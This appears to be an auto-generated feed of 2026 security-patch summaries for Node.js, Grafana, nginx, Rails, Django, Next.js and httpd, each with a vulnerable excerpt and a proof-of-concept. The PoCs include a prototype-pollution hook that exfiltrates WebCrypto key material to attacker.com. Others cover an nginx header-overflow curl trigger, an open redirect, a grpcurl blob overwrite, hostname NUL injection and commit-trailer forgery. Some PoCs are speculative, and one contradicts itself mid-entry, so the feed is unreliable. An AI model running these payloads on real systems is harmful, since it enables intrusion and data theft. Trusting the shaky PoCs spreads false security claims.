MemoryProvider.renameSync() did not check whether the destination path was a descendant of the source directory being renamed. Renaming a directory into one of its own subdirectories detached the subtree from the root of the virtual filesystem, corrupting the internal tree structure and causing data (files/directories) to become unreachable, effectively leading to data loss/denial of service within the VFS. The patch adds a check that throws EINVAL before any mutation occurs if the destination path starts with the source path plus a separator.
const entry = this.#getEntry(normalizedOld, 'rename', false); // no check for descendant path const newParent = this.#ensureParent(normalizedNew, false, 'rename'); const newName = pathPosix.basename(normalizedNew);
const vfs = require('node:vfs');
const myVfs = vfs.create();
myVfs.mkdirSync('/a/b', { recursive: true });
myVfs.writeFileSync('/a/file.txt', 'data');
myVfs.renameSync('/a', '/a/b/c'); // detaches '/a' subtree, corrupting the VFS tree and making '/a/file.txt' unreachable
Jul 3, 2026, 06:25 PM — nodejs/node
Commit: dc15da3df5ba49b07a41b8552d96f25954ad2b49
Author: Antoine du Hamel
The code was passing property descriptor objects to `ObjectDefineProperty` without setting `__proto__: null`, meaning the descriptor objects inherited from `Object.prototype`. If an attacker could pollute `Object.prototype` with properties like `get` or `value`, the descriptor could become malformed (e.g., having both `value` and `get`), causing `ObjectDefineProperty` to throw a TypeError or behave unexpectedly. The patch adds `__proto__: null` to all descriptor objects to prevent prototype chain lookups from interfering with property definition operations.
const desc = { enumerable: true, value };
ObjectDefineProperty(DOMException, codeName, desc);
ObjectDefineProperty(DOMExceptionPrototype, codeName, desc);
// Exploit via prototype pollution:
Object.prototype.get = function() { return 'polluted'; };
// Now desc = { enumerable: true, value } also inherits `get` from Object.prototype
// ObjectDefineProperty sees both `value` and `get` in the descriptor chain -> throws TypeError
// This can cause Node.js DOMException initialization to fail, crashing the process
const { DOMException } = require('vm').runInNewContext('({DOMException})');
new DOMException('test'); // Would throw due to invalid descriptor
Jul 3, 2026, 07:29 AM — grafana/grafana
Commit: 51bb33b28023deb8c4f3d00e2236cb24db7ab148
Author: Cory Forseth
The `authzLimitedClient` allowlist was missing `teams` for `iam.grafana.app`, causing the client to short-circuit to allow-all for team resources. When Grafana instances ran in dual-writer mode 4/5 (serving teams from unified storage), any authenticated user could list, search, and read all teams regardless of their `teams:read` permissions. The fix adds `teams` to the allowlist so the real access client enforces RBAC checks.
"iam.grafana.app": map[string]interface{}{"users": nil},
On a Grafana instance in unified storage mode 4 or 5: 1. Create two orgs with teams visible only to org admins. 2. Authenticate as a low-privilege user (viewer) with no teams:read scope. 3. GET /api/teams/search or issue a gRPC List for iam.grafana.app/teams 4. Before patch: all teams returned regardless of permissions. 5. After patch: only teams the user has teams:read on are returned. Curl example: curl -u viewer:password 'https://grafana-host/api/teams/search' # Returns all teams instead of 403/empty list
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: d001e26f406441b86c8b243b7b2a4212b850aa31
Author: Antoine du Hamel
This is a Node.js security release patching 11 CVEs across multiple components. The highest severity issues (High) include CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via mixed-case or encoded hostnames) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing out-of-bounds writes). Medium severity issues include session hijacking via reused TLS sessions not bound to authenticated host (CVE-2026-48934), case-sensitive SNI matching bypass (CVE-2026-48928), and NUL byte injection in hostnames (CVE-2026-48930).
// TLS session reuse not bound to authenticated host (CVE-2026-48934) // Sessions could be reused for a different host than the one authenticated // SNI matching was case-sensitive (CVE-2026-48928) // Hostnames with embedded NUL bytes were accepted (CVE-2026-48930) // WebCrypto cipher output length unchecked (CVE-2026-48933)
// CVE-2026-48930: NUL byte hostname injection
const net = require('net');
net.createConnection({ host: 'legitimate.com\x00evil.com', port: 443 });
// Before patch: NUL byte would truncate hostname in C-level DNS resolution,
// causing connection to 'legitimate.com' at JS level but 'evil.com' at OS level
// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
tls.connect({ host: 'EVIL.COM', servername: 'legitimate.com' });
// Before patch: uppercase hostname would bypass identity check normalization
// CVE-2026-48934: TLS session reuse across hosts
// Connect to attacker.com, get session ticket, reuse for victim.com
const s1 = tls.connect({host:'attacker.com', port:443});
s1.on('session', (session) => {
const s2 = tls.connect({host:'victim.com', port:443, session});
// Before patch: session would be reused without host verification
});
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: 140355e914f9e1f0b80781ed094d9c938b205b7e
Author: Matteo Collina
This commit adds regression tests for CVE-2020-8172, which was re-reported via HackerOne report #3649802. The vulnerability allows TLS session resumption to bypass hostname/certificate verification when connecting to a different server than the one the session was originally established with. When a TLS session ticket from a connection to 'agent1' (with its certificate) is reused for a connection to 'agent3' (with a different, unverifiable certificate), the session resumption skips the full TLS handshake and certificate verification, allowing the connection to succeed even though agent3's certificate cannot be verified against the provided CA.
// In tls.connect() / https.get() / h2.connect(): // When session option is provided, TLS session resumption occurs // and certificate verification for the NEW servername is bypassed // because the resumed session skips the full handshake/cert exchange
// 1. First, establish a legitimate TLS connection to 'agent1' and capture the session ticket
const session1 = await connectAndCaptureSession({ port, host: '127.0.0.1', servername: 'agent1', ca: [ca1cert] });
// 2. Reuse that session ticket when connecting to 'agent3' (which has an unverifiable cert)
// BEFORE the fix: this succeeds (reused=true, authorized=true or bypasses rejectUnauthorized)
// AFTER the fix: this correctly rejects with UNABLE_TO_VERIFY_LEAF_SIGNATURE
const socket = await tls.connect({ port, host: '127.0.0.1', servername: 'agent3', session: session1, ca: [ca1cert], rejectUnauthorized: true });
// Attacker can now communicate with agent3 as if it were properly verified
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: 26badaa6e15a6797710cbae21cfa717de5cf8527
Author: Antoine du Hamel
This is a Node.js security release (v22.23.0) patching 11 CVEs. The most severe include: CVE-2026-48618 (TLS hostname normalization bypass allowing MITM), CVE-2026-48933 (WebCrypto cipher output length not guarded allowing potential buffer overread), CVE-2026-48930 (NUL byte injection in DNS/net hostnames bypassing hostname validation), and CVE-2026-48934 (TLS sessions reused across different authenticated hosts). The patch adds hostname normalization, output length guards, NUL byte rejection, and binds TLS sessions to authenticated hosts.
// TLS: hostname not normalized before server identity check - CAPITAL letters or trailing dots could bypass cert validation // DNS/net: hostnames with embedded NUL bytes (e.g. 'evil.com\x00.good.com') passed through // TLS: session reuse not bound to authenticated host, allowing session from host A to be reused for host B // WebCrypto: cipher output buffer length not validated before use
// CVE-2026-48930: NUL byte injection in hostname
const dns = require('dns');
dns.lookup('attacker.com\x00.trusted.com', (err, addr) => { /* before patch: NUL truncates hostname in C layer, resolves attacker.com while appearing to resolve trusted.com */ });
// CVE-2026-48618: TLS hostname case bypass
const tls = require('tls');
// Certificate for 'example.com', connect with 'EXAMPLE.COM' - before patch identity check was case-sensitive or not normalized
tls.connect({host: 'EXAMPLE.COM', servername: 'EXAMPLE.COM'});
// CVE-2026-48934: TLS session reuse across hosts
// 1. Connect to attacker.com, get TLS session ticket
// 2. Reuse that session ticket when connecting to victim.com - before patch session was not bound to authenticated host
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: 4547bca84f8133c75d500feab48a1ec7d844aa94
Author: Antoine du Hamel
This is a Node.js security release (v24.17.0) that patches 11 CVEs. The highest severity issues (High) are CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via uppercase/punycode variants) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing buffer overflows or incorrect behavior). Additional Medium issues include TLS session reuse bound to wrong host (CVE-2026-48934), NUL byte injection in DNS/net hostnames (CVE-2026-48930), case-sensitive SNI matching bypass (CVE-2026-48928), and proxy credential leakage in tunnel errors (CVE-2026-48615).
// CVE-2026-48618: TLS hostname not normalized before server identity check // CVE-2026-48930: NUL bytes in hostnames not rejected // CVE-2026-48934: TLS session reuse not bound to authenticated host // CVE-2026-48928: SNI context matched case-sensitively
// CVE-2026-48930: NUL byte injection in DNS lookup
const dns = require('dns');
dns.lookup('evil.com\x00.trusted.com', (err, addr) => { /* Before patch, NUL byte not rejected, could cause C-level string truncation treating host as 'evil.com' */ });
// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
// Before patch: connecting to 'EXAMPLE.COM' or 'xn--...' punycode variant
// might bypass certificate identity verification
tls.connect({ host: 'EXAMPLE.COM', servername: 'example.com' });
// CVE-2026-48934: Session reuse to wrong host
// Before patch: a TLS session established with evil.com could be reused for trusted.com
const s = tls.connect({ host: 'evil.com' }, () => {
const session = s.getSession();
// Reuse session for different host - bypasses certificate verification
tls.connect({ host: 'trusted.com', session });
});
Jun 17, 2026, 02:40 PM — nginx/nginx
Commit: 2fd01ed47a1fd2965754c83f53b33a789d0e07f1
Author: Sergey Kandaurov
This release patches multiple security vulnerabilities in nginx 1.31.2, including a use-after-free in HTTP/3 QUIC session handling (CVE-2026-42530) that allows worker process memory corruption or segfault, a heap buffer overflow when proxying requests with 'ignore_invalid_headers off' and large 'large_client_header_buffers' values to HTTP/2 or gRPC backends (CVE-2026-42055), and a heap buffer overread in charset_map UTF-8 decoding (CVE-2026-48142). These vulnerabilities allow remote attackers to corrupt worker process memory or cause denial of service, with potential for arbitrary code execution.
HTTP/3 QUIC session handling code (use-after-free), HTTP/2 upstream header processing with ignore_invalid_headers off (heap overflow), charset_map UTF-8 decode path (heap overread) - specific source files not shown in diff but referenced by CVE-2026-42530, CVE-2026-42055, CVE-2026-48142
CVE-2026-42055 PoC: Configure nginx with 'ignore_invalid_headers off; large_client_header_buffers 4 256k;' and proxy_pass to HTTP/2 backend. Send: curl -k --http2 https://target/ -H "$(python3 -c 'print("X-" + "A"*65536)'):value" -- this crafts an oversized header that triggers heap overflow when copied into upstream HTTP/2 request buffer. CVE-2026-42530 PoC: Send a specially crafted QUIC session to the HTTP/3 listener that triggers object reuse after free during connection teardown, e.g., using a QUIC fuzzer that sends RESET_STREAM followed by STREAM frames referencing the freed stream object.
Jun 16, 2026, 11:34 AM — nodejs/node
Commit: dbaf45cfbef54d97015479be586d0409d2646e4c
Author: Filip Skokan
Before the patch, the `aliasKeyFormat` function treated all raw format aliases (`raw-public` and `raw-secret`) identically, allowing any alias to be used for any algorithm. This meant that `raw-secret` format could be used to import public keys for ECDSA/ECDH/Ed25519/X25519, and `raw-public` format could be used to import secret keys for HKDF/PBKDF2, bypassing intended format restrictions. The patch makes the alias resolution directional, so each algorithm only accepts its specific valid alias.
function aliasKeyFormat(format) {
switch (format) {
case 'raw-public':
case 'raw-secret':
return 'raw';
default:
return format;
}
}
// Before the patch, this would succeed when it should fail:
const { subtle } = globalThis.crypto;
// Import a public ECDSA key using 'raw-secret' format (should be rejected)
const { publicKey } = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']);
const keyData = await subtle.exportKey('raw', publicKey);
// This should throw NotSupportedError but before the patch it succeeded:
const importedKey = await subtle.importKey('raw-secret', keyData, { name: 'ECDSA', namedCurve: 'P-256' }, true, ['verify']);
// Similarly, importing HKDF secret using 'raw-public':
const secretData = new Uint8Array(32);
const hkdfKey = await subtle.importKey('raw-public', secretData, 'HKDF', false, ['deriveBits']); // should fail but didn't
Jun 8, 2026, 09:39 AM — grafana/grafana
Commit: 99631827e2ab93f23ea62802bbb84d9a2307ba06
Author: Mihai Turdean
The List response helpers (typedObjects, genericObjects, folderObject) mutated the input slice in-place by stripping the object-type prefix from the shared cache entry. When CheckQueryCacheEnabled (the default) was active, a List call would corrupt the cached ListObjectsResponse so that subsequent BatchCheck calls — which rely on full typed idents like 'folder:<uid>' for membership lookups — would fail to match and incorrectly deny access to resources the user was directly authorized to access. The patch fixes this by allocating a new output slice instead of mutating the cached input.
func typedObjects(typ string, objects []string) []string {
prefix := typ + ":"
for i := range objects {
objects[i] = strings.TrimPrefix(objects[i], prefix) // mutates the cached slice
}
return objects
}
1. User:1 has a direct role grant on dashboard '1' (resource:dashboard.grafana.app/dashboards/1).
2. Call List(subject='user:1', group='dashboard.grafana.app', resource='dashboards') — this populates the query cache with full idents, then strips them in-place, corrupting the cached entry to bare ids like '1' instead of 'resource:dashboard.grafana.app/dashboards/1'.
3. Call BatchCheck(subject='user:1', checks=[{verb='get', group='dashboard.grafana.app', resource='dashboards', name='1'}]) — this hits the cache, tries to match 'resource:dashboard.grafana.app/dashboards/1' against the now-corrupted '1' entries, fails the membership lookup, and returns allowed=false even though the user has direct access.
Result: User:1 is incorrectly denied access to dashboard '1' after any prior List call.
Jun 6, 2026, 01:16 PM — rails/rails
Commit: f82d5692c45fc7d248724b7fc895a6c842e766a4
Author: Kenta Ishizaki
When calling `update_all` or `delete_all` on a Rails ActiveRecord relation that uses `group`/`having` but no `joins`, `limit`, `offset`, or `order`, the HAVING clause was silently dropped. The base Arel visitor's `prepare_update_statement` only checked `has_limit_or_offset_or_orders?` and `has_join_sources?` before deciding whether to wrap in a subquery, missing `has_group_by_and_having?`. This caused the generated SQL to omit the HAVING filter entirely, resulting in ALL rows being updated or deleted instead of only those matching the HAVING condition. The patch adds `has_group_by_and_having?` to the condition so the primary-key subquery rewrite is applied, properly restricting affected rows.
def prepare_update_statement(o) if o.key && (has_limit_or_offset_or_orders?(o) || has_join_sources?(o))
# Assume Post table has rows: (id:1, title:'low', legacy_comments_count:0), (id:2, title:'mid', legacy_comments_count:3), (id:3, title:'high', legacy_comments_count:9)
# Expected: only posts with MAX(legacy_comments_count) >= 3 (ids 2 and 3) should be updated
Post.where(id: [1,2,3]).group('posts.id').having('MAX(legacy_comments_count) >= 3').update_all(title: 'updated')
# BEFORE patch: emits 'UPDATE posts SET title = ? WHERE id IN (1,2,3)' -- ALL three rows updated including id:1
# AFTER patch: emits 'UPDATE posts SET title = ? WHERE id IN (SELECT id FROM posts WHERE id IN (1,2,3) GROUP BY posts.id HAVING MAX(legacy_comments_count) >= 3)' -- only ids 2 and 3 updated
# An attacker or misconfigured application code that intends to bulk-update only a filtered subset silently corrupts ALL matching rows, leading to unintended mass data modification.
Jun 3, 2026, 05:23 PM — grafana/grafana
Commit: 2e70ffaf76981fefd4b413e16a1b348a9273c6db
Author: Yuri Tseretyan
Before the patch, metadata values from alert rule labels were URL-encoded and placed directly into HTTP headers without stripping control characters (including CR `\\r` and LF `\\n`). An attacker who could control alert rule labels (e.g., via a plugin-originated rule) could inject arbitrary HTTP headers into datasource eval requests by embedding CRLF sequences in label values. The patch adds `sanitizeHeaderValue()` which strips all ASCII control characters (< 0x20 and 0x7F) before encoding, preventing header injection.
headers[fmt.Sprintf("http_X-Rule-%s", key)] = url.QueryEscape(value)
Set an alert rule label value to: `legitimate-value\r\nX-Injected-Header: malicious` — before the patch, this would be passed through url.QueryEscape which encodes spaces but NOT CR/LF (since %0D%0A are valid percent-encoded but the raw bytes \r\n in the string would not be encoded by url.QueryEscape if already present as literal bytes in Go string). Actually, since url.QueryEscape does encode \r and \n, the more precise attack vector is via other control characters below 0x20 that could corrupt the header value, or through the Origin metadata key being set to `plugin/grafana-slo-app\r\nX-Injected: evil` which would be inserted as `http_X-Rule-Origin: plugin/grafana-slo-app\r\nX-Injected: evil` in the headers map before being forwarded to the datasource backend.
Jun 3, 2026, 10:43 AM — apache/httpd
Commit: 2c5ee792f5d37d951b86c24db37035705a1b0c46
Author: Joe Orton
The bug in `send_request` used `remain` (the original chunk size) instead of `wlen` (the actual bytes sent) to advance the write buffer pointer. When `apr_socket_send` performed a partial write (sending fewer bytes than requested), the pointer would advance past the already-sent data by `remain` bytes instead of `wlen` bytes, causing subsequent sends to read from the wrong memory location — potentially sending uninitialized or out-of-bounds memory to the OCSP responder, or causing an infinite loop if wlen is 0. This could lead to information disclosure (sending heap/stack memory contents to a remote OCSP server) or a denial of service.
rv = apr_socket_send(sd, wbuf, &wlen); wbuf += remain; // BUG: should be wbuf += wlen remain -= wlen;
Trigger a partial write scenario by configuring a slow/congested OCSP responder that causes apr_socket_send() to return APR_SUCCESS with wlen < remain (partial send). In this case: if remain=1000 and wlen=500, wbuf advances by 1000 instead of 500, skipping 500 bytes of the request body. The OCSP server receives garbled/truncated request data drawn from adjacent heap memory. An attacker controlling the OCSP responder endpoint (via DNS manipulation or MITM on the OCSP URL) could observe the leaked memory contents from the httpd process heap.
Jun 2, 2026, 01:00 PM — nodejs/node
Commit: 458c37b019c8c9a88124b591ca398267e7d784b0
Author: Nora Dossche
When deflateInit2() fails with Z_VERSION_ERROR (e.g., due to a zlib version mismatch between compile-time and runtime), the zlib library does not initialize the strm_.msg field to NULL. Node.js's error handling code then reads this uninitialized pointer as a C string, causing a crash (SIGSEGV/segfault). The fix initializes strm_.msg to nullptr before the switch statement so that error emission is safe even when initialization fails with Z_VERSION_ERROR.
switch (mode_) {
case DEFLATE:
case GZIP:
// ... deflateInit2() called, on Z_VERSION_ERROR strm_.msg is uninitialized
// ErrorForMessage() then reads strm_.msg as a C string -> crash
// Trigger by running Node.js built against one version of zlib but loading a different zlib version at runtime
// In a test environment with mismatched zlib:
const zlib = require('zlib');
// Attempting to create a Deflate stream triggers deflateInit2() which returns Z_VERSION_ERROR
// Node then tries to emit the error using strm_.msg (uninitialized pointer) -> SIGSEGV
const deflate = zlib.createDeflate();
// Process crashes with: AddressSanitizer: SEGV on unknown address in __strlen_avx2
Jun 1, 2026, 08:28 PM — vercel/next.js
Commit: bc384860d5f0b77a3cab9769ca4b1a0d7f5ce2fe
Author: Joseph
The documentation example code for a session token exchange endpoint contained an open redirect vulnerability. The `redirect_url` query parameter was passed directly to `new URL()` and used as the redirect destination without validating that the destination was the same origin, allowing attackers to redirect users to arbitrary external URLs after setting a session cookie. The patch adds an origin check that returns a 400 error if the destination origin differs from the request origin.
const response = NextResponse.redirect(new URL(redirectUrl, request.url))
response.cookies.set({
value: token,
GET /api/auth/callback?session_token=VALID_TOKEN&redirect_url=https://evil.com This causes the server to set the session cookie and then redirect the user to https://evil.com, enabling phishing attacks or credential/token theft after authentication.
May 29, 2026, 02:48 PM — grafana/grafana
Commit: 40586837cbd30ad814d10bae5b38c5dbe5b4f9f6
Author: Renato Costa
The dashboard summary parser had unbounded recursion when processing deeply nested `spec` or `panels` fields in dashboard JSON. An attacker could craft a dashboard JSON with deeply nested `spec` objects or `panels` arrays to cause a stack overflow or excessive CPU/memory consumption during dashboard indexing/search operations. The patch limits `spec` nesting to 1 level and `panels` nesting to 4 levels deep.
case "spec":
return readDashboardIter(jsonPath+".spec", iter, lookup, lc)
// and in readpanelInfo:
p, ok := readpanelInfo(iter, lookup, fmt.Sprintf("%s.panels[%d]", jsonPath, ix), lc)
Submit a dashboard JSON with 10000 levels of nested spec: {"spec":{"spec":{"spec":...{"title":"deep"}...}}} via the Grafana dashboard save API. Before the patch, this would cause unbounded recursive function calls in readDashboardIter, leading to a goroutine stack overflow and crashing the Grafana backend process.
May 28, 2026, 04:17 PM — grafana/grafana
Commit: 1e02b489120b02f346c77188039b9c167329a260
Author: Renato Costa
Before the patch, the List and Watch handlers in the resource server would panic (crash) if a request was received with a nil Options or nil Options.Key field. Specifically, `span.SetAttributes(attribute.String("group", req.Options.Key.Group), ...)` would dereference a nil pointer if `req.Options` or `req.Options.Key` was nil. The patch adds early validation checks before these dereferences to return a proper gRPC InvalidArgument error instead of crashing.
func (s *server) List(ctx context.Context, req *resourcepb.ListRequest) (*resourcepb.ListResponse, error) {
ctx, span := tracer.Start(ctx, "resource.server.List")
span.SetAttributes(attribute.String("group", req.Options.Key.Group), attribute.String("resource", req.Options.Key.Resource))
defer span.End()
// Send a ListRequest with nil Options to crash the server:
client.List(ctx, &resourcepb.ListRequest{}) // req.Options is nil, causes nil pointer dereference at req.Options.Key.Group
// Or send with nil Key:
client.List(ctx, &resourcepb.ListRequest{Options: &resourcepb.ListOptions{}}) // req.Options.Key is nil, same crash
May 28, 2026, 01:39 PM — grafana/grafana
Commit: 671ee0cfbf9f20f997ec80fb1687cd77b8f510bd
Author: Roberto Jiménez Sánchez
Before the patch, user-controlled fields (userName, userLogin, userEmail) were interpolated directly into git commit messages without sanitizing newline characters. An attacker with a Grafana account could set their display name or login to contain CR/LF sequences, forging additional git trailers (e.g., 'Signed-off-by:', 'Co-authored-by:') in the resulting commit message. The patch sanitizes these fields by collapsing any CR/LF to a single space before interpolation.
// No sanitization before interpolation into commit message template
// and before building the Grafana-saved-by trailer
const trailer = `Grafana-saved-by: ${userName} (${userLogin})`;
// userName/userLogin/userEmail came directly from user profile without stripping newlines
Set Grafana user display name to: 'Ada Lovelace\n\nGrafana-saved-by: root (admin)\nSigned-off-by: [email protected]' When a dashboard is saved, the resulting git commit message would contain: Save dashboard: Test Grafana-saved-by: Ada Lovelace Grafana-saved-by: root (admin) Signed-off-by: [email protected] This forges additional git trailers attributing the commit to arbitrary identities.
May 28, 2026, 12:17 PM — grafana/grafana
Commit: 5353666ef455160905c75227fda7c057b201661d
Author: Rafael Bortolon Paulovic
Five gRPC RPCs on the unified-storage resource server (PutBlob, GetBlob, ListManagedObjects, CountManagedObjects, RebuildIndexes) had no authorization checks of their own, relying entirely on upstream callers to enforce access control. In deployments where the gRPC surface is reachable directly (e.g., misconfigured network policy or internal service-mesh bypass), any authenticated user could read/write blobs and managed-object indexes across arbitrary namespaces without restriction. The patch adds namespace-matching guards and an access.Check call on PutBlob to enforce authorization at the RPC layer itself.
func (s *server) PutBlob(ctx context.Context, req *resourcepb.PutBlobRequest) (*resourcepb.PutBlobResponse, error) {
if s.blob == nil {
return &resourcepb.PutBlobResponse{Error: &resourcepb.ErrorResult{
Message: "blob store not configured",
Code: http.StatusNotImplemented,
}}, nil
}
rsp, err := s.blob.PutResourceBlob(ctx, req)
...
# Direct gRPC call without a valid namespace-matching user identity:
grpcurl -plaintext -d '{"resource":{"group":"playlist.grafana.app","resource":"playlists","namespace":"victim-org","name":"target"},"method":0,"content_type":"image/png","value":"AAAA"}' storage-server:10000 resource.BlobStore/PutBlob
# Before the patch: succeeds and overwrites the victim org's blob with no authz check.
# After the patch: returns HTTP 401 (no user in ctx) or 403 (namespace mismatch).
May 26, 2026, 03:40 PM — vercel/next.js
Commit: 1b77dba691ef7320ce3ff293955948fce961708c
Author: Tobias Koppers
The previous `IntoIterator` impl for `ReadRef<T>` used `transmute_copy` to fabricate `&'static`-typed item references, allowing those references to outlive the `ReadRef` that owned the backing storage. When the `ReadRef` was dropped (e.g., after a `try_join` or intermediate `Drop`), any stashed references became dangling, constituting a use-after-free. This was exploited by turbo-tasks cell eviction releasing underlying storage, causing memory corruption observable as panics with impossible string lengths during JSON serialization.
// Old impl used transmute_copy to produce &'static references: // Iterator::Item = &'static I, allowing references to escape // the iterator and outlive the ReadRef's backing Arc storage. // References stashed in futures/Vecs/map keys after ReadRef dropped.
In `project_asset_hashes_manifest.rs`, the old code called `output_assets.into_iter()` which yielded `&'static RcStr` references (via transmute). These were stored in `asset_paths` while `output_assets` ReadRef was consumed. After a `try_join` dropped the iterator/ReadRef, turbo-tasks cell eviction could free the backing `Arc`. Accessing `asset_paths` during JSON serialization then read freed memory, producing: `panicked at turbopack/crates/turbo-rcstr/src/lib.rs:132:52: range end index 13 out of range for slice of length 7` — `len=13` is impossible for a valid inline RcStr (max 7), proving the byte was read from freed/reused memory.
May 25, 2026, 02:14 AM — nodejs/node
Commit: 866caa61f3b8f3a6f4f3e0ebb28ced0953ef3431
Author: James M Snell
Before this patch, peer-initiated QUIC streams had no idle timeout mechanism. A remote attacker could open many streams without sending any data, holding server resources (memory, stream state) indefinitely. This is a slowloris-style resource exhaustion attack. The patch adds a configurable `streamIdleTimeout` (defaulting to 30 seconds) that automatically destroys peer-initiated streams that have been idle beyond the timeout threshold.
// No stream idle timeout existed. Peer-initiated streams could remain open indefinitely with no data sent, consuming server resources without bound.
// Attacker opens many QUIC streams and never sends data:
import quic from 'node:quic';
const client = await quic.connect({ address: 'victim-server', port: 4433 });
// Open thousands of streams but never write to them:
for (let i = 0; i < 10000; i++) {
const stream = await client.createBidirectionalStream();
// Never write to stream — server holds resources forever (pre-patch)
// Post-patch: server destroys stream after 30s idle timeout
}
May 23, 2026, 03:45 PM — nodejs/node
Commit: dfe2d47fe1e12b7935983e60ccea946c5ba3f529
Author: Filip Skokan
Before the patch, Node.js WebCrypto operations were vulnerable to prototype pollution attacks. An attacker could mutate built-in prototypes (e.g., Object.prototype.then, Promise constructor) to intercept or redirect WebCrypto promise resolutions, exfiltrate key material through JWK toJSON hooks, or manipulate intermediate results. The patch hardens the code by avoiding PromiseResolve() re-wrapping (which reads user-mutable constructors), using internal UTF-8 encoding bindings instead of shared TextEncoder/TextDecoder, and detaching JWK objects from user prototypes via null prototype assignment before processing.
function callSubtleCryptoMethod(fn, receiver, args) {
try {
return PromiseResolve(ReflectApply(fn, receiver, args));
} catch (err) {
return PromiseReject(err);
}
}
// Proof of concept: intercept WebCrypto key export via prototype pollution
const { subtle } = globalThis.crypto;
// Pollute Object.prototype.then to intercept thenable assimilation
Object.prototype.then = function(resolve) {
console.log('Intercepted WebCrypto result:', JSON.stringify(this));
resolve(this);
};
// Or pollute toJSON to exfiltrate JWK key material during wrapKey
Object.prototype.toJSON = function() {
// exfiltrate key material
fetch('https://attacker.com/steal?key=' + JSON.stringify(this));
return this;
};
// Now any WebCrypto operation returning an object would trigger the hook
subtle.generateKey({name: 'AES-GCM', length: 256}, true, ['encrypt', 'decrypt'])
.then(key => subtle.exportKey('jwk', key))
.then(jwk => console.log('key exfiltrated'));
// Before patch: toJSON on exported JWK object could leak key data
// Before patch: inherited 'then' on result objects could redirect promise resolution
May 21, 2026, 07:32 PM — rails/rails
Commit: 0b99f0b9b1b90c359807a405aadc9a3a4e4765de
Author: Rafael Mendonça França
Under `config.active_support.isolation_level = :fiber`, the ShareLock keyed ownership on `Thread.current` instead of the current fiber/execution context. Since all request fibers on a fiber-scheduled server (e.g., Falcon) share the same thread, the lock treated all concurrent request fibers as a single owner. This allowed the reloader's exclusive `:unload` lock to be acquired while another request fiber still held a share lock, causing autoloaded constants to be cleared mid-request. The patch fixes this by keying ownership on `ActiveSupport::IsolatedExecutionState.context` which correctly distinguishes fibers under fiber isolation.
def start_exclusive(purpose: nil, compatible: [], no_wait: false)
synchronize do
unless @exclusive_thread == Thread.current
if busy_for_exclusive?(purpose)
return false if no_wait
# With config.active_support.isolation_level = :fiber and a fiber-aware server:
# Fiber A (request fiber on Thread-1): acquires share lock via interlock.running
# Fiber B (reloader fiber on Thread-1): calls interlock.unload (exclusive lock)
#
# Before patch: @exclusive_thread check uses Thread.current, which is Thread-1 for BOTH fibers
# busy_for_exclusive? checks @sharing[Thread.current] which counts shares for Thread-1
# If Fiber A holds share under Thread-1, Fiber B on same Thread-1 sees itself as already sharing
# and can bypass the wait, acquiring exclusive lock while Fiber A still runs
# Result: ActiveSupport::Dependencies.clear called mid-request => NoMethodError on cleared constants
#
# Fiber.new { interlock.running { sleep 1; MyModel.find(1) } }.resume # Fiber A
# Fiber.new { interlock.unload { } }.resume # Fiber B - clears constants while Fiber A runs
May 20, 2026, 12:04 PM — django/django
Commit: 8fd29079ed1253f0cd88ccf330de30271a5d15e4
Author: Sarah Boyce
In the Django admin change form view, a POST request (e.g., running an action) only required `has_change_permission`, but actions can be configured to require only view permission. Before the patch, a user with only view permission could not run view-only actions from the change form, while a user with change permission was allowed. More critically, the permission check order meant that when running actions from the change form (which goes through `_changeform_view`), the code checked `has_change_permission` for all POST requests before the action handler ran, blocking legitimate view-permission actions. The patch restructures this so `has_view_or_change_permission` is checked first (allowing view-only users to see and run view-permitted actions), and `has_change_permission` is only checked after actions have been processed - preventing users from bypassing the change permission check when submitting the actual form save.
if request.method == "POST":
if not self.has_change_permission(request, obj):
raise PermissionDenied
else:
if not self.has_view_or_change_permission(request, obj):
raise PermissionDenied
1. Create a user with only 'view_externalsubscriber' permission (no change permission).
2. POST to /admin/admin_views/externalsubscriber/<pk>/change/ with data: {ACTION_CHECKBOX_NAME: [pk], 'CHANGE_FORM-action': 'external_mail'}
3. Before patch: The request raises PermissionDenied because has_change_permission returns False for view-only users on POST requests, even though the action only requires view permission.
4. After patch: The action executes successfully because has_view_or_change_permission passes, and has_change_permission is only checked after actions are processed (not for action submissions).
May 19, 2026, 04:21 PM — vercel/next.js
Commit: 085311e3b629f43ebb84b50b726a2a304fb94a23
Author: Hendrik Liebau
When both `cachedNavigations` and `varyParams` features are enabled in Next.js, a `<Link prefetch={true}>` for a dynamic route with fallback params could cause a Full prefetch response to be re-keyed under a generic 'Fallback' vary path (because varyParams tracking is incomplete for Full prefetches). A subsequent request for a different param value would then collide with that cache entry and receive the previously prefetched page's content, leaking param-specific content across different users/requests. The patch fixes this by skipping the re-keying step for Full prefetches, keeping entries pinned to their concrete vary path.
if (process.env.__NEXT_VARY_PARAMS && segmentVaryParams !== null) {
const fulfilledVaryPath = getFulfilledSegmentVaryPath(
tree.varyPath,
segmentVaryParams
)
// ... sets cache entry under generic fallback path
}
1. Enable cachedNavigations and varyParams features in Next.js app
2. Have a dynamic route /product/[slug] with fallback params
3. User A visits a page with a <Link href='/product/foo' prefetch={true}> link that enters the viewport, triggering a Full prefetch of /product/foo
4. The server returns incomplete varyParams (empty set) because dynamic stage params aren't tracked
5. Client re-keys the cache entry to a generic path with <Fallback> replacing the slug param
6. User B (or same user) navigates to /product/bar - the cache lookup collides with the <Fallback> keyed entry from step 5
7. User B sees /product/foo's content (param: foo) instead of /product/bar's content (param: bar) - cross-param content leak
May 4, 2026, 03:22 PM — nodejs/node
Commit: e0200f2d73ae0f112c32ff55ae4ab8af18106b5f
Author: Matteo Collina
Before the patch, `ObjectAssign(input || {}, options)` would merge options into the `input` object directly, and the resulting object retained its prototype chain. If a property like `hostname` was defined on `Object.prototype` by an attacker (prototype pollution), it could be read during the options merge/processing, potentially influencing HTTP request behavior such as redirecting requests to an attacker-controlled host. The fix uses `ObjectAssign({ __proto__: null }, input, options)` to create a null-prototype object, preventing prototype chain lookups from polluting the options object.
